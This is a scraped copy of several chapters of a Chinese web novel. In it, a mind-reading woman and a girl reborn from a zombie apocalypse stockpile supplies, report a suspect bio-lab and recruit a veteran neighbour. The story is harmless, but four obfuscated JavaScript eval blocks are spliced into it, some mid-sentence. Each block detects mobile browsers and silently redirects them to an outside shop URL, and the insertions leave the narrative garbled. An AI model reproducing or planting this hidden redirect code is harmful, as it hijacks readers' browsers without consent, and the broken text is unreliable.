《我靠读心术拯救末世》 2. 邻居 她抬头对上林知晓的目光,有些怯懦,但又莫名坚定。 林知晓微微皱眉,虽说在车上莫名其妙盯着人家看的是自己,跟踪人家的也是自己,但怎么现在越看越像自己自投罗网上赶着被诈骗。 “照你说来,你是从末世重生回来的?” 对面的女孩点点头,还不忘补充两句:“你不用告诉我你的秘密,但我希望你……相信我。” 她顿了顿。 “三个月后,如果你发现我说的是真的——到时候你再来找我。” 林知晓看着面前的女孩。 这个瘦小的女孩,站在昏暗的巷子里,半身被黑暗笼罩。 一声叹息在林知晓心底响起。 不知道为什么,心脏像被什么东西轻轻攥了一下。 不重,但足够让她愣住。 林知晓再次想起她刚才的话。 我们见过吗?什么时候? 你说的,是真的吗? 我……该相信吗? 一声声质问在她心底响起。打破着某些隔膜。 她的目光透过女孩的双眼——幽亮,愤怒,绝望,孤独,还有一丝说不清道不明的希冀。 “你为什么和我说这些?”林知晓的声音没什么起伏,“你不怕我别有目的?” 她张了张嘴,没说出话,只是下意识往后退了半步,还条件反射般蜷起的手指。 林知晓连忙摆手道:“我不是那个意思。” “我想说的是,”她的语速很快,但吐字清晰,“你自己感觉不到吗?——我们才认识不到五分钟吧?哪怕我真知道什么,你也不该叽里呱啦就一股脑说出来吧。” 女孩也一瞬间愣住,呆立在了原地。 林知晓很轻松就读出了她脸上的情绪,震惊、茫然和深深的疑惑,以及……后怕。 “我、我……我为什么会…” 她剧烈的呼吸声,伴着不成句的零碎词语。 林知晓也看不明白了,这女孩到底是什么情况? 还是说,有问题的其实是自己? 这么一想,她也突然反应过来,自己也太反常了。她不是这么冲动大胆的人,更别说跟踪人家之后还和陌生人聊这么多。 太自然、自然得有些诡异。 空气像凝固的非牛顿流体,沉默,还是沉默。 “你叫什么?”林知晓突然开口,打破凝滞的空间。 女孩好像还沉浸在那种状态里,愣愣地回答:“温、温枝。温暖的温,树枝的枝。” 话音刚落,她又捂住了自己的嘴,面露警惕,紧接着后退了几步。 林知晓叹了口气,说:“我觉得,我们可能需要谈谈。” 温枝没接话,只是盯着她,像在重新打量。 她有些犹豫,问:“现在吗?” 其实林知晓也觉得,她们两个现在状态都不太正常,不是个谈话的好时机。 “明天吧。明天。明天我会来找你。”她一字一顿地说,“——你住这栋?” 说着,她对边上的居民楼抬了抬下巴。 温枝抿抿唇,说:“……对。” “你住几楼?” 问完她就有点后悔了,怎么越听越像不法分子。 果不其然,温枝也皱皱眉,没回答她,只是径直离开,说,“你明天如果真的来,我会下来接你。” 林知晓也没拦着她,只是用不大不小的声音道,“明天周末,上午八点,我会再来。” 那道瘦小的身影顿了下,随后才道:“我知道了。” …… 告别温枝,她踏着灯光,穿过稀稀拉拉的人群,往地铁站走。脑子里像塞了一团乱麻,剪不断,理还乱。 地铁来了。她走进去,找了个角落站着。车厢里的人不多,她把因为情绪起伏过大而发烫的头抵在冰凉的玻璃上,看着窗外黑漆漆的隧道。 明天。 她不知道明天会发生什么。不知道那个女孩说的是真是假。不知道那种诡异感从何而来。 为了弄清楚这一切,这一趟,她必须去。 “去什么去!考这么差还好意思说要去游乐园?!”林知晓刷开单元楼的感应锁时,又听见了房东在批评自家小孩。 她扯扯嘴角,自顾自走向了电梯。 叮—— 电梯门打开,面前站着一个身形颀长男人。 她认识这个男人,他们小区都是一梯两户式的,这个男人就是和她在同一楼层的邻居。不过他们不熟,连名字都没互通,也就是见面礼貌点个头的关系。 而这次,男人看见她,愣了一下。 “你还……好吗?” 没什么温度的声音,但话语明显是带着善意的。 林知晓一时没反应过来,转头透过电梯的金属镜面看到了自己现在的样子——头发有些凌乱,脑袋的热度没下去,眼神也飘忽,一副神游天外的样子。 呃…大概是看她太精神恍惚了,一副下一秒就要撅过去的感觉,所以关照了一句。 她面露歉意地转头和他道谢,说就是单纯上班累到了。 还好邻居并没有多问,只是礼貌说了句注意休息,就离开了。 钥匙插进锁孔,拧开,进门,关门。 她在玄关站了一会儿,没开灯。 黑暗里什么声音都没有。这栋楼隔音不错,她只能听见自己呼吸的声音,一下,一下。 她再次把额头抵在门上,冰凉的金属防盗门贴着她的皮肤。 这个世界终于还是疯了,她想。 虽然她一直都不觉得自己会是世界唯一的变量,但是今天的事还是对她的世界观造成了极大的冲击。 重生啊,复仇啊,末世啊,丧尸啊,还有和那个女孩说不上来的熟悉感。 她回想着今天发生的事,就如同雾里看花。如果不是手机上还存了温枝的联系方式,她都要以为自己看小说看太多终于精神分裂了。 她本来以为自己已经算不正常的了,现在好了,来了个更不正常的。 她苦笑了一声,居然感受到某种类似于惺惺相惜的情绪。 明天……明天去了就知道了。 林知晓闭上眼睛,深吸一口气。 算了,走一步看一步吧。 --- 第二天早上,电梯门打开,她又看见了那个邻居。 只不过,这次他在电梯里,她在电梯外。 他应该是刚晨练回来了,额前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323993|199118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的发梢还是湿漉漉的。 “今天出门挺早。”他主动打招呼。 她愣了一下才回道:“啊……对。” 两人都不是习惯闲聊的人,简单打过招呼后就擦身而过了。 林知晓直到站进电梯里都还没反应过来,他们最近偶遇的频率是不是太高了? 他们作息不太重合,平时经常一连好几天都碰不上面,这24小时内都碰到第二次了。 而且他们平时哪怕碰到也不会说话,怎么突然就打上招呼了? 她摸了摸自己紧绷的面皮,心下有了几分明悟。 呃……看来这位邻居真的很担心她的心理状况啊。 温枝家离得不算远,昨天已经走过一遍,她凭着记忆很快就找到了地方。 老式居民楼底下,小小的身影已经立在那里,林知晓看了眼手表,七点五十。 温枝的头发乱糟糟的,眼眶底下两团青黑,和昨天相比,周身的气质更沉寂了,像是沉淀下来的沼泽。 她看到林知晓,愣了一下,然后像是刚反应过来似的,略有些吃惊地问: “你……你真的来了?” 林知晓看着她这副模样,莫名有些想笑。 “你以为我骗你?” “我以为你会反悔。”温枝的眼睛眨了眨,转身向后走,“上去说吧。” 她的家在五楼,楼里没有电梯,林知晓跟在健步如飞的温枝后面气喘吁吁。 这对每天宅家的她真的是很高强度的运动了。她爬完楼梯还在原地缓了好一会儿,才抬头观察起四周。 五楼只有两户人家,左边那户贴着春联,右边那户什么都没有。 她跟着温枝走向右边那户,迈进门槛,入目是一片狼藉。 客厅不大,到处堆满了东西——成箱的矿泉水、压缩饼干、方便面、罐头、手电筒、电池、创可贴、纱布……角落里还堆着几把崭新的工兵铲和登山绳。窗帘拉得严严实实,客厅里只开着一盏小台灯,照得那些囤货投出长长的影子。 “你一个晚上就囤这么多了?”林知晓问。 温枝闻声轻轻“嗯”了一声,关上门,踢开脚边的一箱矿泉水,给林知晓腾出一条路,“时间不多。” 林知晓看着她,看着她眼睛里那些平静下压抑的、翻涌的情绪。 “你昨晚没睡?” “睡不着。”温枝走到沙发前,把上面的几包纸巾挪开,示意林知晓坐,“一闭眼就是那些东西。” “什么东西?”林知晓故作自然地问。 温枝抬眼看她,微微皱眉,但还是开口了。 “丧尸。死人。饿疯了抢东西的人。”她像在说一件再寻常不过的事情,“还有我。” 林知晓没说话,在沙发上坐下。 温枝在她对面蹲下来,翻着一个纸箱,头也不抬地问:“你吃什么?有泡面,有饼干,还有自热米饭——” “你不用忙。”林知晓打断她,“我来不是让你招待的。” 温枝的动作停了一下。 她抬起头,看向林知晓。 盯了两秒。 然后她自暴自弃般瘫坐在地上。 “你想问什么?问吧——如果我还记得的话。” 3. 明天见 林知晓看着她。 这个瘦小的女孩瘫坐在一堆物资中间,头发乱糟糟的,眼眶发青,嘴唇有点干裂。明明才二十出头,看起来却像熬了好几年。 静默持续了半分钟。 “我想知道,关于我,或者说关于我们,你还记得什么?”林知晓说。 温枝低下头,不知道是在思考是否回答还是在回忆。 林知晓等着。 “我不太记得了。”温枝终于开口,声音闷闷的,“很多事情都忘了。但……” 她抬头看了林知晓一眼,又低下。 “和你说话的时候,很自然。” 林知晓愣了一下。 “我也不知道为什么。”温枝的手指抠着地板缝,“就是……感觉应该相信你。” 她顿了顿。 “也许上辈子我们真的认识吧。” 林知晓沉默了一会儿。 “我也觉得。”她说,“你昨天跟我说那些话的时候,我居然很快就完全接受了,潜意识里一点都没觉得奇怪。” 她顿了顿。 “好像本来就该这样。” 两人沉默了一会儿。 温枝从地上爬起来,拍了拍裤子上的灰,走到墙边,从一堆物资里翻出一桶泡面,扔给林知晓。 “先吃饭。”她说,“如果你还想听,吃完我再跟你说。” 林知晓接住,看了看包装——藤椒牛肉味的。 她莫名笑起来,带着某种荒谬的确认。 “你不是说时间不多吗?” “时间是不多。”温枝又扔给她一瓶水,“但也不差这一顿饭。” 她在林知晓旁边坐下,拧开自己的那瓶水,喝了一口。 林知晓突然想起来,还没告诉温枝自己的名字。 “我叫林知晓。”她忽然开口。 温枝回过头,愣了一下。 “林、知、晓。”她念了一遍,歪着头想了想,“这个名字……我好像真的听过。” 林知晓心里一紧。 “有想起来什么吗?” 温枝皱着眉想了很久,最后摇了摇头。 “想不起来了。只是觉得熟悉。”她手里拿着另一桶泡面,正慢慢地揭开外面的塑料膜。 林知晓拿起桌边的热水壶,往泡面桶里倒水,然后看着她。 温枝很快也加完调料包,从善如流地把自己那份递到她面前让她倒开水。 倒完后两个人皆是一愣。 林知晓想说些什么,而对方已经转过身去,继续翻着另一个纸箱,嘴里念叨着什么“水还不够”“得再买点药”“对了还有防身的工具”…… 林知晓低下头,泡面盖上的图标发呆。 没一会儿,香味飘出来,两个人静默地嗦着泡面。 她们吃得很快。 吃完,林知晓把泡面桶扔进垃圾桶,抬起头,发现温枝正盯着自己。 “怎么了?” 温枝没说话。她站起来,走到窗边,把窗帘拉开一条缝,往外看了看。 然后她走回来。 “你跟我来。” 她带着林知晓穿过客厅,走进里屋。房间里摆满了书架,角落放着一张书桌。 温枝关上门。 她站在门口,没往里走。 她说:“我刚才一直在想,要不要让你进来。” 林知晓没说话。 “上辈子我信错过人。”温枝的声音很轻,“信到最后,被人推出去挡丧尸。” 她顿了顿。 “但我又想,如果这辈子还是一个人,哪怕死去也不会有人记得我,太绝望、太无力了。” 她抬起头,看着林知晓。 “所以我赌一次。” 她走到书桌前,拉开抽屉,拿出一本笔记本,递给林知晓。 本子很旧,但字迹却很新,林知晓翻开。第一页写着日期,三个月后的某一天。下面列着:城东生物实验室,城西超市,郊区水库。往后翻,全是类似的记录。最后一页只有三个名字:付成瑾,江黎黎,温枝。温枝的名字被一道横线划掉了。 林知晓合上本子,抬头看她。 温枝站在那儿,两只手攥着卫衣下摆。 “这上面写的你都记得?” “大部分。” “没想过自己跑?” 温枝忽然笑了一下,很淡:“一个人能跑多远?况且……我没有钱。 林知晓沉默了几秒,把笔记本还给她。 “我有。”她说。 温枝愣了一下。 “钱我有。”林知晓说,“房子也能卖。我全职写作,攒了点,不多,但够用。” 温枝看着她,没说话。 “要做什么?”林知晓站起来,“走吧,从哪开始? 对面的女孩看起来被惊得说不出话了,半晌也没见回应。 只见她吞了口唾沫,颇为艰难问:“……为什么?为什么帮我?” “帮你?不算帮你吧,也是帮我自己。”林知晓转过头来,朝她微微笑着,“你不是说末世就要来了吗?哪怕你说的都是假的,那我也赌一回嘛。” 阳光从窗帘的缝隙洒进来,落在她身上,像渡了一层光衣。 温枝被那道光刺得几乎要落泪。 温枝看着她,张了张嘴,想说什么,但没说出来。 房间里很安静。窗外有车驶过,声音远远地传进来,像是另一个世界。 “走吧。”她说。 “去哪?” “先把你这个笔记本上的东西理一遍。”林知晓指了指那本笔记本,“哪些是确定记得的,哪些是模糊的,哪些是你已经去踩过点的。然后——列个清单,看看还缺什么。” 温枝看着她,没动。 林知晓回过头。 “怎么了?” 温枝低下头,沉默了几秒。 “我刚才说,我是在赌。”她的声音很轻,“但赌之前,我其实已经知道结果了。” 林知晓等着她说下去。 “从你在巷子里看着我的时候,”温枝抬起头,“我就知道,你会来。” 林知晓没说话。 温枝也没再解释。 她走到书桌前,把笔记本翻开,推到林知晓面前。 “第一页。”她说,“城东生物实验室。这是我记得最清楚的——末世第一天,这里最先出事。” 林知晓坐下来,看着那页纸。 “你进去过吗?” “没有。”温枝说,“但我知道位置。也知道它大概什么时候……” 她顿了顿。 “什么时候爆发。” 林知晓抬头看她。 “你意思是——” “我们还有时间。”温枝说,“但不多。” …… 一整天,她们把那本笔记本从头到尾过了一遍。 温枝的记忆比她自己以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323994|199118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为的清晰。有些地方她能说出具体日期,有些地方只能说出“大概在那片区域”。林知晓拿手机地图一个一个标出来,用不同颜色标注:红色是爆发点,绿色是物资点,蓝色是曾经的安全区。 标到一半,林知晓忽然问:“这些安全区,你待过几个?” 温枝沉默了一会儿。 “三个。”她说,“第一个待了两个月,被冲散了。第二个待了半年,物资耗尽。第三个……” 她没往下说。林知晓也没问。 良久,林知晓突然开口道:“如果可以的话,我希望在末世到来之前,能为它做些什么。” 温枝微微张嘴,明白了她的意思。然后她听见自己说:“……好。” 窗外天快黑了。温枝站起来,打开灯。灯光照亮那一桌子的地图和笔记,也照亮她们两个人的脸。 “你今天先回去吧。”温枝说,“这些东西,明天再理。” 林知晓看了看时间——已经下午六点多了。 她站起来,拿起包。 走到门口,她忽然停下来。 “温枝。” 温枝回过头。 “你昨晚没睡,”林知晓说,“今晚能睡着吗?” 温枝愣了一下。 “不知道。”她说实话。 林知晓沉默了两秒。 “试试吧,”她说,“我明天还会再来的。” 她拿起包,径直走向门口。随后,像是突然想起什么,回头望着温枝,眨了眨眼睛说:“明天见。” 温枝愣愣回答,“……明天…见。” 她拉开门,走了出去。 楼道里很暗,声控灯亮了一下,又灭了。她走下楼梯,走到一楼,推开门,走进夜色里。 风有点凉。她站在楼下,回头看了一眼五楼那扇窗。 窗帘拉着,但能看见里面亮着灯。 她站了几秒,然后转身往地铁站走。 回去的路上,林知晓一直在想那本笔记本。 那些日期,那些地点,那些被划掉的名字。 温枝说她是被推出去挡丧尸的。推她的人叫付成瑾,旁边站着江黎黎。 未婚夫。最好的朋友。 林知晓想象不出那是什么感觉。但她想起温枝说那句话时的语气,沉寂的,就像死火山。 是什么样的人让她变成这样的呢? 她忽然很想见见这两个人。 不是现在。是以后。等末世真的来了,等她们都活着,如果有机会—— 林知晓晃了晃脑袋,不知道自己为什么会这么想。 地铁到站了。她下车,出站,走回小区。 电梯门打开的时候,她下意识往对面看了一眼。邻居的门关着,门缝里没透出光。 她收回目光,踏进了自家房门。 站在玄关里,她没有开灯,大脑放空,回想着这两天发生的一切。 这时,手机震了。温枝发来微信:“到家了?” 她回:“到了。” 温枝:“你明天还来吗?” 林知晓看着那四个字,笑了。 “来。把那个口味的泡面再备一桶。” 发完之后,她走了两步,把手机扣在茶几上,整个人砸进沙发,进行长达三十分钟的休养生息。 窗外有车驶过,灯光在天花板上划了一道,然后消失。 她翻了个身,盯着天花板,心里诸多感慨,却又难以描述。 4. 另一个办法 这种情绪持续到了第二天傍晚,林知晓请了假提前下班。 温枝还没回来。她站在那栋老居民楼下,看着五楼紧闭的窗户,手里攥着那张写满地址的纸条。 六点四十七分。还没到她们昨天约好的时间,但林知晓等不及。 她需要一个答案。 或者说,她需要确认一件事。 楼道门开了。温枝走出来,手里还拎着便利店的塑料袋,看见林知晓的时候愣了一下。 “你……怎么这么早?” “走吧。”林知晓说。 温枝没问去哪,跟着她走到路边,上了一辆出租车。 “去城东。”林知晓对司机说。 温枝的脸色变了一瞬。城东生物实验室——她笔记本上第一个爆发点。 出租车穿过晚高峰的车流,驶向城市边缘。天慢慢暗下来,路灯亮起来,又暗下去。窗外的建筑越来越矮,越来越旧,最后变成一片废弃的工业区。 “停这儿就行。”林知晓说。 两人下车,站在一条坑洼的水泥路上。前面两百米处有一扇生锈的铁门,铁门后面是几栋灰扑扑的楼房。门口挂着牌子:城东生物技术研究所。 温枝盯着那扇门,声音很轻:“就是这儿。” “你确定?” “我死之前,广播里播的。其他的不清楚,只知道丧尸病毒最先在研究所附近,很快,整个城东沦陷。” 林知晓沉默了几秒,拿出手机,拨了一个号码。 “你好,我要举报。” 温枝猛地转头看她。 “城东生物技术研究所,可能存在生物安全泄露风险。对,我实名举报。林知晓,身份证号——” 电话那头记录完,说会反馈给相关部门,然后挂了。 温枝看着她,眼睛里有什么东西在闪。 林知晓没看她,只是收起手机,看着那扇生锈的铁门。 “走吧。” 接下来三天,林知晓打了十七个电话。 卫健委、疾控中心、市长热线、派出所、街道办事处、生物安全举报平台……她把自己能想到的、通过各种渠道得知的、甚至动用自己特殊能力得知的电话都打了一遍。 她把自己的身份证号报了一遍又一遍,把温枝告诉她的话复述了一遍又一遍。 “城东生物研究所,可能存在泄露风险。” “我没有证据,但我有可靠信息来源。” “请你们一定要重视。” 第四天,有人上门了。 两个穿制服的男人,一个三十出头,一个更年轻些。他们出示了证件,说接到举报,来了解一下情况。 林知晓请他们进屋,倒水,坐下。 “林女士是吧?”年长的那个打开笔记本,“您举报城东生物研究所存在安全风险,有什么具体依据吗?” 林知晓沉默了两秒。 “我有信息来源。但我不能透露。” “什么性质的信息来源?” “……”林知晓看着他的眼睛,“您相信有人能预知未来吗?” 年长的男人愣了一下,沉默地和另一个男人对视了一眼,然后沉默地合上笔记本。 林知晓敢肯定,她看见那两位同志嘴角都上扬了几个像素点,但是很快就控制住了。 “咳咳,林女士,我们需要的是具体证据。如果您没有,那这次举报我们就记录在案,但无法启动调查程序。” “你们可以去查。”林知晓说,“他们的安保系统,他们的废料处理流程,他们的——” “林女士。”年轻的那个打断她,语气还算客气,“没有具体线索,我们没法查。您说的这些,任何一家研究所都能查,但我们不可能因为一个匿名举报就——” “我不是匿名。”林知晓认真地说,“我实名。” 两人对视一眼。 年长的站起来,把笔记本收进包里:“我们会记录的。如果有其他线索,随时联系我们。” 走到门口,他回过头。 “林女士,最近压力大吧?注意休息。” 门关上了。 林知晓坐在沙发上,看着茶几上那杯没动过的水。 温枝发来微信:“怎么样?” 她打了几个字,删掉,又打。 “没用。” 那天晚上,温枝来了。 外面下着雨。她拎着一袋泡面和一打啤酒,站在林知晓门口,整个人像水里捞出来的,身上不知是汗水还是雨水。 “我想了一下午。”温枝边喘着气边说,“还有一种办法。” 温枝站在门口,形象可以称得上狼狈。 林知晓连忙侧身让她进来。 “个人的力量太渺小了,更别说我们还没有人脉,声音很难被听见。”温枝把东西放在玄关柜上,甩了甩头发上的水。 林知晓关上门,盯着她说:“你先换件衣服。” 温枝愣了一下,低头看了看自己湿透的卫衣,呆呆地回道:“哦,好。” 衣柜里翻出有几件干净T恤,林知晓找出来扔给她。她接过来,站在客厅中间犹豫了两秒,直接套上——湿卫衣还穿在里面,但至少外层干了。 “你就这么穿?” “没事,一会儿就捂干了。”温枝在沙发上坐下,打开一罐啤酒递给林知晓,自己又开了一罐,“上辈子末世第三年,我连续淋了半个月的雨,也没死。” 林知晓接过啤酒,没喝,看着她。 温枝灌了一大口,抹了抹嘴,抬起头。 “我想过了。我们不行,那就找比我们有份量的人来说。” 林知晓点头。 “我还有前世的记忆,”温枝看着她,眼睛很亮,“其实在末世爆发前两天,研究所还爆出过医疗废水处理系统发生泄漏。不是什么惊天动地的大事,但也不算小事——废水渗入地下,污染范围扩大到周边区域,有人出现轻微不适症状。相关部门快速介入了,但还没来得及做什么,末世就爆发了……” 林知晓等着她说下去。 “所以我在想,”温枝放下啤酒罐,“我们不需要让人相信‘末世要来了’。我们只需要让人注意到‘那个研究所有异常’。足够让国家在有限的时间里快速反应过来,控制蔓延速度,我们就已经成功了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323995|199118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林知晓明白了,她沉默了几秒,说:“问题是我们找谁把这些信息递进去。” 温枝看着她,忽然问:“你对面那个邻居,是什么人?” 闻言,林知晓愣了一下。 “邻居?” “就住你对门的。”温枝说,“我前两天等你的时候,看见他出门。当时我就觉得他很眼熟,今天才记起来——他是当过兵的人,对不对?上辈子,这个小区在大片沦陷区里挺了很久,后面甚至还分批次撤出了不少人,领导者就是他。” 林知晓有些汗颜,想起这几天可能因为出门频率太高了,和邻居碰见好几回,最近的一次他还说了句“你最近似乎很忙”。 “我不太清楚。”她说,“我搬来的时候他帮我搬过行李,后来就没怎么说过话。” 温枝站起来,在客厅里转了两圈,又坐回去,把啤酒罐捏得咯吱响。 “当过兵的人,有关系有人脉。”她说,“如果这样的人愿意帮忙,那些小问题就能送到该送的地方——不是作为‘举报’,而是作为‘战友间随口提一句’。” “你想让我找他帮忙?”林知晓问。 “我想让你先看看他值不值得。”温枝说,“你住了两年,你觉得他是什么样的人?” 林知晓想了想。 “话不多。礼貌。作息规律。”她回忆着,“有一次我拎着很多东西回来,他主动帮我搬过。后来偶尔碰见,会点头打个招呼。就这些。” 温枝:“就这些?” “哈哈…我平时不太爱和别人打交道,不太了解。”林知晓有些尴尬地挠挠脸。 突然,一个想法像电流一样窜过她的大脑:去敲他的门,找个理由碰他一下,然后听听他是什么样的人。 这个想法刚冒出来,她就被自己吓到了。 “这太荒唐了”、“我从不主动用这个能力”、“万一他察觉到什么”——有太多的借口可以用来搪塞。 但是…她看着温枝那双略显疲惫的眼睛,叹了口气。 但是她们能走的路本来就不多。 她不是偷窥,只是在判断,判断这个可能成为盟友的人,值不值得信任。 对!没错! 说走就走,她生怕自己好不容易鼓起的勇气像气球的气一样泄掉,立刻就站了起来,对坐在身边的瘦弱女孩说:“我去找他谈谈。我……呃,略懂一些心理学。” 最后几个字,她说得有点艰难。 “现在?” “现在。”林知晓已经朝门走去,“再晚他就睡了。” 走廊里很安静。对面的门关着,门缝里透出一线光。她走到门口,手搭上门把手,忽然又有些畏惧了。 用什么理由比较好呢?热水器坏了?借点盐?或者啥借口都不找直接“hi帅哥我们认识一下?”……想想都很社死。 算了,不想了,还是直接说吧,帮不帮忙就是他的事了。 她深吸一口气,敲了三下。 门开了。 男人站在门内,穿着黑色T恤和迷彩裤,头发还是湿的,显然还没睡。他看到林知晓,眼睛里闪过一丝意外。 “有事?” 5. 讲价 林知晓看着他。 这是她第一次认真打量这个邻居。将近一米九,站得很直,目光平静。 “有件事想请教你。”她说。 男人上下打量了两下对面的人,侧身让开。 “进来说吧。” 客厅很简洁,沙发、茶几、电视,几乎没林知晓有多余的东西。窗边放着一个打开的登山包,里面隐约能看到压缩饼干和急救包。 林知晓的目光在那个包上停了一秒。 “坐。”男人说。 她在沙发上坐下。他在对面坐下。 “什么事?” 林知晓看着他,忽然说:“你是退役军人吧?” 他的眼神微微动了一下。 “怎么看出来的?” “走路的样子。”林知晓开口就编,“说话的习惯。” 他没说话,算是默认。 林知晓沉默了两秒,然后开口:“我想问问你…城东生物研究所。你知道多少?” 他的眉毛抬了抬。 “不知道。”他说,“没关注过。” “如果有人告诉你,那里有问题——不是惊天动地的大问题,而是一些小问题,比如安保漏洞、废料处理违规、工作人员频繁病假……你会信吗?” 他看着她,目光变得深了一些。 “你为什么问我这个?” 林知晓没有回答。她站起来,走到茶几边,假装看桌上的东西——其实是找一个自然的、能碰到他的机会。 茶几上放着一个茶杯,杯子里的水还冒着热气。她伸出手,想拿起那个杯子—— “小心,烫。” 男人的手伸过来,挡在她和杯子之间。 他的手背碰到了她的手指。 一瞬间,无数的声音涌进来。 不是现在的心声。是记忆。是碎片。 枪声。爆炸。有人喊“撤退”。有人在哭。一张满是血污的脸,对着他喊“走——” 再是更深的。深夜一个人坐在窗边,看着外面的黑暗。那种压得喘不过气的愧疚。那种“为什么活下来的是我”的声音。 然后是最近。 电梯里,那个精神恍惚的女孩。走廊里,她拎着大包小包回来。窗户边,她半夜还亮着灯。 他在数她的脚步声。一天比一天沉。 他在想:她最近到底在干什么,有点奇怪,是不是该查查? 林知晓抽回手,脸色白了一瞬。 男人看着她,眼神里闪过一丝疑惑。 “没事吧?” 林知晓摇头,退后一步,坐回沙发上。 她有些吃惊,通常情况下她都是直接听见声音的,只有在对方什么都没想的情况下才会出现读取记忆的情况,这太少见了。 她花了几秒钟消化刚才读到的东西。 不是坏人。甚至可以说,是一个好人。 “你还没回答我的问题。”他说。 她抬起头,看着他。 “我有一个信息来源。”她说,“告诉我城东研究有问题。不是大问题,但如果没人管,很可能会变成大问题。” 男人沉默了几秒。 “什么性质的信息来源?” “……抱歉。这个我无法明说。” 他看着她,没有追问。 “你想让我做什么?” 林知晓回想着温枝的话,把她描述的事件基本复述了一遍。 “不需要你做太多。”她说,“只需要——如果你有战友在相关系统,随口提一句城东研究所。如果能让相关部门及时介入,那就更好了。” 男人没有说话。 林知晓不知道他是什么态度,但还是站了起来。 “打扰了。” 她往门口走。 走到门口,手搭上门把手,忽然听见身后男人的声音。 “你最近脚步声越来越沉。” 林知晓停住,没回头。 “我们能从脚步中听出很多东西,”他说,“你背的东西,比你以为的重。” 林知晓沉默了一秒。 “晚安。”她说,拉开门走了出去。 回到屋里,温枝立刻从沙发上跳起来。 “怎么样?” 林知晓看着她,忽然笑了。 “他不是坏人。” 林知晓在沙发上坐下,“他是那种——自己背着很重的东西,还会注意到别人脚步声的人。” 温枝看着她,等着她说下去。 “他会帮忙的。我觉得。”林知晓说,“不是因为他信我们。是因为他觉得,万一我们说的是真的呢。” 温枝沉默了几秒,然后点了点头。 “那就等。” “等什么?” “等他帮我们把城东研究所拉到阳光下。”温枝说,“如果成功,我还希望能拉拢他,让我们一起活得久一点。” 窗外又下起了雨,雨声嘀嗒,如此温柔无害地落在树叶上、土地里。这样的生活如此平和。 如此脆弱。 两个人坐在沙发上,谁也没说话。 过了很久,温枝忽然开口:“你知道我刚才在想什么吗?” “什么?” “在想——”温枝靠在沙发背上,看着天花板,“如果末世不来,就这样过日子,好像也不错。” 林知晓没说话。 又这样无言地躺了一会儿,温枝突然灵活地翻身坐起。 “好啦,该操的心操完啦,现在,我们该谋划谋划自己的未来了。我突然想起一些事,有些想法……” 距离末世还有52天。 --- 电视开着,声音调得很低。本地新闻正在播报:城东区开展安全生产大检查,多家单位被责令整改。 画面一闪而过——城东生物研究所的大门。 林知晓和温枝同时停下筷子。 “那是——”温枝的声音有点抖。 林知晓没说话,只是盯着屏幕。新闻继续播:该研究所存在消防安全隐患、废料处理违规、记录不全等问题,已责令限期整改。相关负责人表示将积极配合,全面排查。 然后画面切到了下一条新闻。 温枝转过头,看着林知晓。 “就这样?” 她声音里带着一丝失望,或者说,带着某种林知晓能听出来的东西——上辈子那个研究所直接导致了城东沦陷,这辈子只是“责令整改”。她期待的是更彻底的查处,更严厉的惩罚,甚至直接查封。 林知晓低着头想了想。 “至少有人进去了。”她说。 温枝愣了一下,然后笑了起来:“对。至少有人进去了。” 她们又看了一会儿电视,新闻已经播到别的区了。窗外有车驶过,阳光照进来,茶几上的两碗泡面还冒着热气。 “快吃吧。”林知晓拿起筷子,“吃完还有事。” 温枝点头,低头吃面。 记忆中的末世,越来越清晰了。 --- 这些天她们一直没闲着。 先是注册网店。明面上,她们是刚创业的小本生意人,卖户外用品,租了个仓库囤货。偶尔发几单快递,营造“真的在做生意”的假象。 接着是防空洞。温枝记起的郊区某单元楼地底一个上辈子庇护了很多人的地方,入口隐蔽,空间不小。她们向人防办合法租了下来,借口是网店仓储。 第一次进去的时候,林知晓站在门口,没往里走。里面很暗,只有手机的光照出几米远。空气是冷的,带着一股陈旧的土腥味。 “就是这儿。”温枝的声音从黑暗里传过来,“上辈子这个防空洞庇护了很多人。” 林知晓走进去。脚下是水泥地,头顶是拱形的穹顶。空的。什么都没有。但可以放很多东西。 然后是分批采购。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323996|199118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 